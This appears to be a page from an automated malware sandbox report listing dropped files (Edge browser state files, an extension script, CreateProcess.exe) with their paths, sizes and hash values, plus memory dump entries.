T1D31316F598D38A77D8AE5783A37E2E499DFCC163B5894994B7984E4DCC820BFC206C05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 7d105c40844f54b4ef8f581f3171361d2e90b4352f778bdb7a213240b9fedd23
MD5 2f058cabc79113fcf63afaf8deb8e762
SHA1 a5f520ec708eadabf4a480e3471b58545726a68f
SHA512 1441d85587f2bfe11322845da9f8bc23f218eb672eef1cc090f66b356b8e9470ec5b20b12a80b5c5c458b930b59fcdbb71031488a002e1f5b59d3676730f6498
SSDEEP 768:zj+9z3z8kncBqobGHAtZu4aWADIidy8Lugb9Mn:W9z3TAtZzaNsuVL3b+n
TLSH
T118F2AF39BC56CF7388AB9284F2873A4AAEF451B385C90ED895ED5F4E01C35BD1312D1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 f1f9cd5460844360df877ce85e4b6d7321b812fa0b6c029645117120781c9a2f
MD5 59a8ffb2d6932928f36ef0374a0464af
SHA1 9356ca7506874c310e9e09095473ab166dcd5b48
SHA512 6bd4f9c868655dc314060d1b45bbf61c81225db48d70859a1f633aa6e8dc79f14c17eb423fa38328695987c35c1030175974ddb0fc75d628e461edacbed9a94e
SSDEEP 768:9rv+4UNbdC3qbOBqobGHmpZu4aWADIidy8LqIeVH1S1C:9bsbw3ympZzaNsuVLfEH1d
TLSH
T1A603BF36F859CA779CF79284B187360B7EF8926386890BE094DD1B4E42DB4AD1307E17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 8b6dee3a1941b9320433ff1f562bf7ca14619ed7130a841b5564f81f07974de2
MD5 bd5e866f1084bdfca0ed1aa972bff745
SHA1 6712d9f019b78c6ac7672e001de0fa1883e6805e
SHA512 09b4ef61650bca63dfcfebd4abaf12159ce6fec57b4aa28aed8481e4352317c230bbff7420f1bbcafe2e78e163b5f01883a6bca323d58c0d36db5485c18c6688
SSDEEP 768:Urv+4UNbdd3F8kkcBqobGHAtZu4aWADIidy8LugeVH1S1C:Ubsbf3eAtZzaNsuVL3EH1h
TLSH
T19413BF36AC69CE7398FBA284F1873647BEF8516385890AE4D5DD0B4E01874EE131BD17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

eb5c518e-d568-4450-ba45-5b66288efd91.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\eb5c518e-d568-4450-ba45-5b66288efd91.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1996_581892864\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 2334b6649d5097d9405bdc8277c1fcd73e1ec7977c0ed91a0bc2770f1500195c
MD5 c73ddeb89e923f59a4ef3c86f97f23c7
SHA1 6e5181470c1996bc0edd8d04d658b92e8bab9e53
SHA512 d166e8c9bec20c4407bde1c293e275883f31b09ce79f94ff6108a10b4d620df509f98978598a6bfe6eac72426025f2b8609f651fe1dc63ca41a4398d6e357c24
TLSH
T17571009357A8C5F2C1DA5FF102835648F5BB22380B2330340B556586AB30A7A24B8F08
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1012-419-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1168-445-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1172-187-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1808-234-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1928-433-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2344-399-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2376-341-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2460-61-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2500-391-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2500-430-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2500-423-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4172-278-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4252-321-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4252-337-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4424-378-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4516-293-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4516-264-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4760-465-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5032-317-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5104-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5740-336-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5832-300-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6076-441-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6076-428-0x0000000000010000-0x00000000000AB000-memory.dmp

Download